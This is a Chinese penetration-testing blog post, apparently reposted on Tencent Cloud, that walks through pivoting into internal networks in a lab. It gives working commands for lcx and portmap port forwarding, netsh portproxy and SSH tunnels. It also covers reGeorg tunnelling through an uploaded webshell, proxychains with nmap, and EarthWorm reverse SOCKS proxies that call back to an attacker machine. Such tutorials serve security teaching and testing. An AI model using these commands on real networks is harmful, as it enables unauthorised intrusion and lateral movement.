前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【内网渗透】关于内网代理转发技术

【内网渗透】关于内网代理转发技术

作者头像
一名白帽的成长史
发布2020-07-20 16:22:03
2.7K0
发布2020-07-20 16:22:03
举报
文章被收录于专栏:一名白帽的成长史

Part.0

目录

一、端口转发类

1.Lcx

  • 本地端口转发
  • 正向端口转发
  • 反向端口转发
  • Linux版lcx

2、Netsh

  • 本地端口转发
  • 正向端口转发

3、SSH

二、SOCKS代理类

1、reGeorg

  • reGeorg+Proxifier
  • reGeorg+proxychains
  • 类似工具

2、EarthWorm

  • 正向代理
  • 反向代理

Part.1

Lcx

本地端口转发

有如下图所示测试环境,外网服务器拥有双网卡,既可与公网进行通信,也可以与内网服务器进行通信。

内网服务器不可访问公网,但可以与外网服务器的内网IP进行通信。

假设我们拿下了外网服务器的账号、密码和命令行权限,想要直接访问外网服务器的3389服务。

但因为防火墙等访问控制策略,不允许公网直接访问3389端口,此时可以尝试lcx的本地转发功能将其转发到其他端口。

首先通过文件传输的方法将lcx.exe传输至外网服务器

运行lcx,将3389端口转发到外网可以访问的8888端口:

代码语言:javascript
复制
lcx.exe -tran 8888 127.0.0.1 3389

使用攻击机连接外网服务器8888端口:

数据进行本地端口转发:

成功通过8888端口将流量转发至3389服务:

正向端口转发

假设我们已经拿下了外网服务器的命令行权限,以及内网服务器账号、密码。

此时想让攻击机能够访问内网服务器的3389端口,可以通过外网服务器来充当跳板,进行正向端口转发。

将访问外网服务器8888端口的流量,全部转发至内网服务器的3389端口:

代码语言:javascript
复制
lcx.exe -tran 8888 192.168.100.2 3389

使用攻击机尝试连接外网服务器8888端口:

外网服务器开始进行流量转发:

成功访问到内网服务器远程桌面:

反向端口转发

假设这次拿下了外网服务器、内网服务器的命令行权限,并知道内网服务器账号、密码。

想要通过攻击机,远程连接内网服务器远程桌面服务。但由于内网防火墙包过滤策略,不允许外网服务器访问它。

此时可以通过反向端口转发,由内网服务器主动发起转发。

外网服务器对1234端口开启监听,并转发至本地8888端口:

代码语言:javascript
复制
lcx.exe -listen 1234 8888

内网服务器开启反向连接,将本地3389端口转发至外网服务器1234端口:

代码语言:javascript
复制
lcx.exe -slave 192.168.100.1 1234 127.0.0.1 3389

可以看到外网服务器已经接收到了连接:

现在使用攻击机连接外网服务器8888端口:

外网服务器开始转发流量:

成功转发流量至内网服务器:

Linux版lcx

Linux版本的lcx叫做portmap

先将对应的c文件上传至linux服务器中:

通过gcc进行编译后即可使用:

代码语言:javascript
复制
gcc portmap.c -o lcx

功能与windows版一样,例如将流量正向转发至外网服务器的3389端口:

代码语言:javascript
复制
./lcx -m l -p1 8888 -h2 192.168.3.140 -p2 3389

尝试连接linux的8888端口:

成功连接至window的3389端口:

Part.2

Netsh

本地端口转发

Netsh 是Windows自带的命令行脚本工具,它可以建立端口映射。与LCX不同,netsh不支持反向的端口转发。

本地端口转发:

和lcx类似,我们将外网服务器的80端口,转发到8888端口:

代码语言:javascript
复制
netsh interface portproxy add v4tov4 listenport=8888 connectport=80 connectaddress=192.168.3.140

通过以下命令可查询当前转发策略:

代码语言:javascript
复制
Netsh interface portproxy show all

尝试访问8888端口,顺利转发至80服务:

可通过delete命令删除策略:

代码语言:javascript
复制
netsh interface portproxy delete v4tov4 listenport=8888

正向端口转发

假设我们已经拿下了外网服务器的命令行权限,以及内网服务器账号、密码。

此时想让攻击机能够访问内网服务器的3389端口。可以通过外网服务器来充当跳板,进行正向端口转发。

在外网服务器配置端口转发:

代码语言:javascript
复制
Netshinterface portproxy add v4tov4 listenaddress=192.168.3.140 8888 connectaddress=192.168.100.2 connectport=3389

尝试通过外网服务器连接内网3389服务:

成功连接:

删除策略:

代码语言:javascript
复制
Netsh interface portproxy delete v4tov4listenport=8888 listenaddress=192.168.3.140

Part.3

SSH

SSH

ssh也支持端口转发,但前提是需要知道对端的ssh用户名及口令。

通过SecureCRT等工具连接外网服务器:

开启端口转发:

尝试连接本地6677端口:

成功转发至内网服务器3389端口:

Part.4

reGeorg

reGeorg+Proxifier

reGeorg是一款把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP通信的工具。

使用时需要配合webshell建立一个SOCKS代理来进行内网穿透,支持多种类型的webshell:

以下面的拓扑为例,外网服务器是一个jsp服务器,对外网开放80服务,且存在文件上传漏洞。攻击机通过与外网服务器建立http隧道,来访问内网服务。

先将tunnel.jsp上传至外网服务器,并能够访问到:

在攻击机运行reGeorgSocksProxy.py脚本进行连接:

代码语言:javascript
复制
py -2 reGeorgSocksProxy.py -p 8899 -u http://192.168.3.140/upload/tunnel.jsp

//8899为任意指定的本地转发端口

在攻击机使用Proxifier工具,配置代理服务器:

添加代理规则,将流量代理至8899端口,最好将外网服务器、python.exe排除在外:

使用攻击机尝试访问内网服务器80端口,成功:

此时的Proxifier工具,成功将流量代理至本机8899端口:

reGeorgSocksProxy.py脚本,成功将流量转发至内网:

尝试直接连接内网3389端口,成功:

此时的Proxifier工具:

reGeorgSocksProxy.py脚本,成功转发3389流量:

//注意:Socks协议通过TCP协议进行数据传输,因而不提供如传递ICMP信息之类的网络层相关服务,ping测试会发现不通。

reGeorg+proxychains

攻击机如果为linux环境,则使用proxychains进行代理。第一步依然是将webshell上传至目标服务器:

运行reGeorgSocksProxy.py脚本:

配置/etc/proxychains.conf代理:

通过proxychains代理后访问内网服务器:

测试nmap扫描内网服务器常用端口:

代码语言:javascript
复制
proxychains nmap -Pn -sT –v 192.168.100.2

//成功~

类似工具

除了reGeorg之外,还有一些相同用法的工具如下:

https://github.com/SECFORCE/Tunna

https://github.com/nccgroup/ABPTTS

https://github.com/sensepost/reDuh

Part.5

EarthWorm

正向代理

EW 是一套便携式的网络穿透工具,既支持SOCKS5代理转发,又支持静态端口转发。

该工具共有6种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)

静态端口转发功能和lcx类似,下面来讲讲socks代理功能。

正向代理依然是下面的拓扑图,通过外网服务器进行内网穿透:

将EW对应的执行程序上传至外网服务器:

外网服务器开启代理:

代码语言:javascript
复制
ew.exe -s ssocksd -l 8889

可以直接在浏览器中开启代理:

//这里使用的是FoxyProxy插件。

代理后尝试访问内网服务器80端口:

//成功~

或者使用Proxifier开启代理:

配置代理规则:

//将外网服务器IP、环回口流量排除在外

尝试远程连接内网服务器:

//成功~

反向代理

假设外网服务器不允许外部向其主动发起连接,则使用反向代理的方法。

首先在攻击机上开启监听:

代码语言:javascript
复制
ew.exe -s rcsocks -l 1080 -e 8880

外网服务器向攻击机8880端口发起连接:

代码语言:javascript
复制
ew.exe -s rssocks-d 192.168.3.1 -e 8880

通过Proxifier开启代理:

尝试访问内网远程桌面:

//成功~

Part.6

结语

好啦,以上就是今天的全部内容了

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-07-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 一名白帽的成长史 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
访问管理
访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档